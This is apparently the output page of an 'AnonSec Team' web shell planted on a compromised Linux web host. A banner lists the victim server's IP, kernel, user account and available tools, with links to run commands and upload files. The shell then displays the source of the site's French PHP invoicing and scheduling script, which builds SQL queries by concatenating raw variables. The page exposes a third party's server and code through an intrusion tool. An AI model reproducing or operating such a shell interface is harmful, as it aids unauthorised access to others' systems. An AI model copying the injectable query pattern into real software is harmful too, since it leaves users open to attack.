AnonSec Team
Server IP : 10.128.40.6  /  Your IP : 216.73.217.20
Web Server : Apache
System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : logmcpe ( 111175)
PHP Version : 7.3.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/logmcpe/www/mcg/pages/python/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/logmcpe/www/mcg/pages/python/../tete.php
<?php
// lllk
include 'includes/config_tmcpro2.php' ;
include 'includes/stable_functions_tmcpro.php' ;
function count_week_days($__date_from, $__date_to, $__holidays_between=array(), $__weekend_days=array()) {
   $total_days_count = $__date_to > $__date_from ? round(($__date_to - $__date_from)/(24*3600)) : 0;
   $full_weeks_count = floor($total_days_count/7);
   $weekend_days_count = $full_weeks_count*count($__weekend_days);
   $days_left_uncovered = $total_days_count - $full_weeks_count*7;
   for($i = 0; $i < $days_left_uncovered; $i++) {
      $date_to_check = $i ? strtotime("+{$i} day", $__date_from) : $__date_from;
      if(in_array(date('N', $date_to_check), $__weekend_days)) {
         $weekend_days_count++;
      }
   }
   $week_days_count = $total_days_count - $weekend_days_count - count($__holidays_between);
   return $week_days_count;
}
function daysfr ($value = 0)
{
$tab = array(0 => 'Dimanche', 1 => 'Lundi',  2 => 'Mardi', 3 => 'Mercredi', 4 => 'Jeudi', 5 => 'Vendredi', 6 => 'Samedi');
	 return $tab[$value];
}
// exit() ; 
function get_prest_sem( $IN,$from ,$to)
{
		$end   = dateformaint($to) ;
		$date  = dateformaint($from);
		$p = array();

		while ($date <= $end )
			{
				// $q = dbi_query("SELECT * FROM PRESTATIONS p where p.client_id  ".$IN." AND presta_date_debut <= $date AND (p.presta_date_fin >= $date OR p.presta_date_fin IS NULL) ");
				$q = dbi_query("SELECT * FROM PRESTATIONS p where p.client_id  ".$IN." AND presta_date_debut <= $date AND (p.presta_date_fin >= $date OR p.presta_date_fin IS NULL) AND ( p.presta_recur IS NULL OR p.presta_recur NOT IN ( SELECT presta_id FROM PRESTATIONS where client_id  ".$IN." AND presta_date_fin < $date ) ) ");
				while($prest = dbi_fetch_row($q))
					{
						 
						$date_presta_sem = $prest['presta_date_debut'] ;
						$q1 = dbi_query("SELECT * FROM PRESTATIONS_MODIF WHERE presta_id = ".$prest['presta_id']." AND start <= ".$date."  order by start, modif_id ") ;
						while ( $m = dbi_fetch_row($q1) )
						{
							if( $m['presta_sem'] != NULL ) $date_presta_sem = $m['start'];

							$prest['presta_sem'] = $m['presta_sem'] === NULL ? $prest['presta_sem'] : $m['presta_sem'] ;
							$prest['presta_jour'] = $m['presta_jour'] === NULL ? $prest['presta_jour'] : $m['presta_jour'] ;
							$prest['presta_Hdeb'] = $m['presta_Hdeb'] === NULL ? $prest['presta_Hdeb'] : $m['presta_Hdeb'] ;
							$prest['presta_Hduree'] = $m['presta_Hduree'] === NULL ? $prest['presta_Hduree'] : $m['presta_Hduree'] ;
							$prest['salarie_id'] = $m['salarie_id'] === NULL ? $prest['salarie_id'] : $m['salarie_id'] ;
							$prest['chantier_id'] = $m['chantier_id'] === NULL ? $prest['chantier_id'] : $m['chantier_id'] ;
							$prest['presta_forfait'] = $m['presta_forfait'] === NULL ? $prest['presta_forfait'] : $m['presta_forfait'] ;
						}
						// echo "<pre>" ;
						// print_r($p) ;
						// echo "</pre>" ;
						// echo "===========+++++++++++++++++++++++++++++++++++++++++++++++++++++======================== <br/>" ; 
						$day = date("w", strtotime( int2date_autre_format($date)));
							if( $day == $prest['presta_jour'] OR  ( $date == $prest['presta_date_debut'] &&  $prest['presta_date_debut']	== $prest['presta_date_fin'] ) ){
								// echo "SELECT date_presta FROM EXCEPTIONS WHERE presta_id = ".$prest['presta_id']." AND date_presta = ".$date." <br>";
								$EXP = dbi_fetch_row(dbi_query("SELECT * FROM EXCEPTIONS WHERE presta_id = ".$prest['presta_id']." AND date_presta = ".$date." " )) ;	   ;
								
									if($EXP ){
										$heurefin = addDuree($prest['presta_Hdeb'], $prest['presta_Hduree']);
										// echo $EXP." ^D^^^^";
											if( $EXP['new_presta_id'] != NULL	&& $EXP['en_cours'] == '1')
										{
											// if($EXP['ad'] == '1')
												// echo $EXP['presta_id']." +++++++++++ ";
											// elseif($EXP['ded'] == '1')
												// echo $EXP['presta_id']." ------- ";
											// echo '<br>'.$date.' <> '.$EXP['facture']." ++++ ".$EXP['ad']."<br>";
											// echo $EXP['facture']." ------- ".$EXP['des'];
												if($EXP['ad'] == '1' && $EXP['facture'] == '1')
														$p[] = array('id' => $prest['presta_id'],'excpt_id' => $EXP['excpt_id'],'idchantier' => $prest['chantier_id'],'idclient' => $prest['client_id'],'nbH' => '','taux' => $prest['presta_forfait'],'tauxHT' => '','type' => 'add','date' => $date,'jour' => $prest['presta_jour'],'deb' => $prest['presta_Hdeb'],'duree' => $EXP['Hduree'],'change' => 1,'fin' => $heurefin) ;
												elseif($EXP['ded'] == '1' &&  $EXP['facture'] == '1')
														$p[] = array('id' => $prest['presta_id'],'excpt_id' => $EXP['excpt_id'],'idchantier' => $prest['chantier_id'],'idclient' => $prest['client_id'],'nbH' => '','taux' => $prest['presta_forfait'],'tauxHT' => '','type' => 'ded','date' => $date,'jour' => $prest['presta_jour'],'deb' => $prest['presta_Hdeb'],'duree' => $EXP['Hduree'],'change' => 1,'fin' => $heurefin) ;
												elseif($EXP['ded'] == '1' &&  $EXP['facture'] == "")
														$p[] = array('id' => $prest['presta_id'],'excpt_id' => $EXP['excpt_id'],'idchantier' => $prest['chantier_id'],'idclient' => $prest['client_id'],'nbH' => '','taux' => $prest['presta_forfait'],'tauxHT' => '','type' => 'ded','date' => $date,'jour' => $prest['presta_jour'],'deb' => $prest['presta_Hdeb'],'duree' => $EXP['Hduree'],'change' => 1,'fin' => $heurefin ,'deduire' => 'non') ;


										}
											// elseif ( $EXP['new_presta_id'] == NULL && $EXP['facture'] != '1') j'ai(DSI) commenté ce code pour je puisse affiche les deux exceprtion (prstation) factuté et non facturé 
											elseif ( $EXP['new_presta_id'] == NULL)
										{
											// echo " $date >= $from  && $date <= $to " ;
											// if( $date >= $from  && $date <= $to )
												$p[] = array(
												'id' => $prest['presta_id'],
												'excpt_id' => $EXP['excpt_id'],
												'idchantier' => $prest['chantier_id'],
												'idclient' => $prest['client_id'],
												'nbH' => '',
												'taux' => $prest['presta_forfait'],
												'tauxHT' => '',
												'type' => 'e2',
												'date' => $date,
												'jour' => $prest['presta_jour'],
												'deb' => $prest['presta_Hdeb'],
												'duree' => $prest['presta_Hduree'],
												'facture' => $EXP['facture'],
												'fin' => $heurefin) ;
										}
										// elseif( $EXP['new_presta_id'] == NULL){

												// $p[] = array('id' => $prest['presta_id'],'excpt_id' => $EXP['excpt_id'],'idchantier' => $prest['chantier_id'],'idclient' => $prest['client_id'],'nbH' => '','taux' => $prest['presta_forfait'],'tauxHT' => '','type' => 'e2','date' => $date,'jour' => $prest['presta_jour'],'deb' => $prest['presta_Hdeb'],'duree' => $EXP['Hduree'],'change' => 1,'fin' => $heurefin) ;

										// }






									} else {

										if( $prest['presta_sem'] == 1 )
										{
											$heurefin = addDuree($prest['presta_Hdeb'], $prest['presta_Hduree']);
												$p[] = array(
												'id' => $prest['presta_id'],
												'idchantier' => $prest['chantier_id'],
												'idclient' => $prest['client_id'],
												'nbH' => '',
												'taux' => $prest['presta_forfait'],
												'tauxHT' => '',
												'type' => 'p',
												'date' => $date,
												'jour' => $prest['presta_jour'],
												'inter' => $prest['salarie_id'],
												'deb' => $prest['presta_Hdeb'],
												'duree' => $prest['presta_Hduree'],
												'fin' => $heurefin) ;
										} elseif( $prest['presta_sem'] >0 ) {
										$nbre =count_week_days(strtotime(int2date_autre_format($date_presta_sem,'d.m.Y')), strtotime(int2date_autre_format($date,'d.m.Y')));
										$modolo = $nbre % $prest['presta_sem'] ;
										if( $modolo == 0)
											$heurefin = addDuree($prest['presta_Hdeb'], $prest['presta_Hduree']);
												$p[] = array(
												'id' => $prest['presta_id'],
												'idchantier' => $prest['chantier_id'],
												'idclient' => $prest['client_id'],
												'nbH' => '',
												'taux' => $prest['presta_forfait'],
												'tauxHT' => '',
												'type' => 'p',
												'date' => $date,
												'jour' => $prest['presta_jour'],
												'inter' => $prest['salarie_id'],
												'deb' => $prest['presta_Hdeb'],
												'duree' => $prest['presta_Hduree'],
												'fin' => $heurefin) ;
										}
									}
							}
					}
				$date =  date("Ymd", strtotime("+1 day", strtotime($date)));
			}


	return $p;
}



$where = '';


$date = date('Y-m-01');
$annee = $year = date('Y');
$mois = $month = date('m');
if(isset($_POST['datefacture']))
$datefacture = $_POST['datefacture'];
else
$datefacture = date('Y-m-d');

$months = array(
     1 => 'Janvier',
     2 => 'Février',
     3 => 'Mars',
     4 => 'Avril',
     5 => 'Mai',
     6 => 'Juin',
     7 => 'Juillet',
     8 => 'Août',
     9=> 'Septembre',
    10=> 'Octobre',
    11 => 'Novembre',
    12 => 'Décembre'
);


if(isset($_POST['mois']) && isset($_POST['annee'])){
	$datecal = $_POST['annee'].'-'.$_POST['mois'].'-01';
	$annee = $_POST['annee'];
	$mois = $_POST['mois'];
}

?>

AnonSec - 2021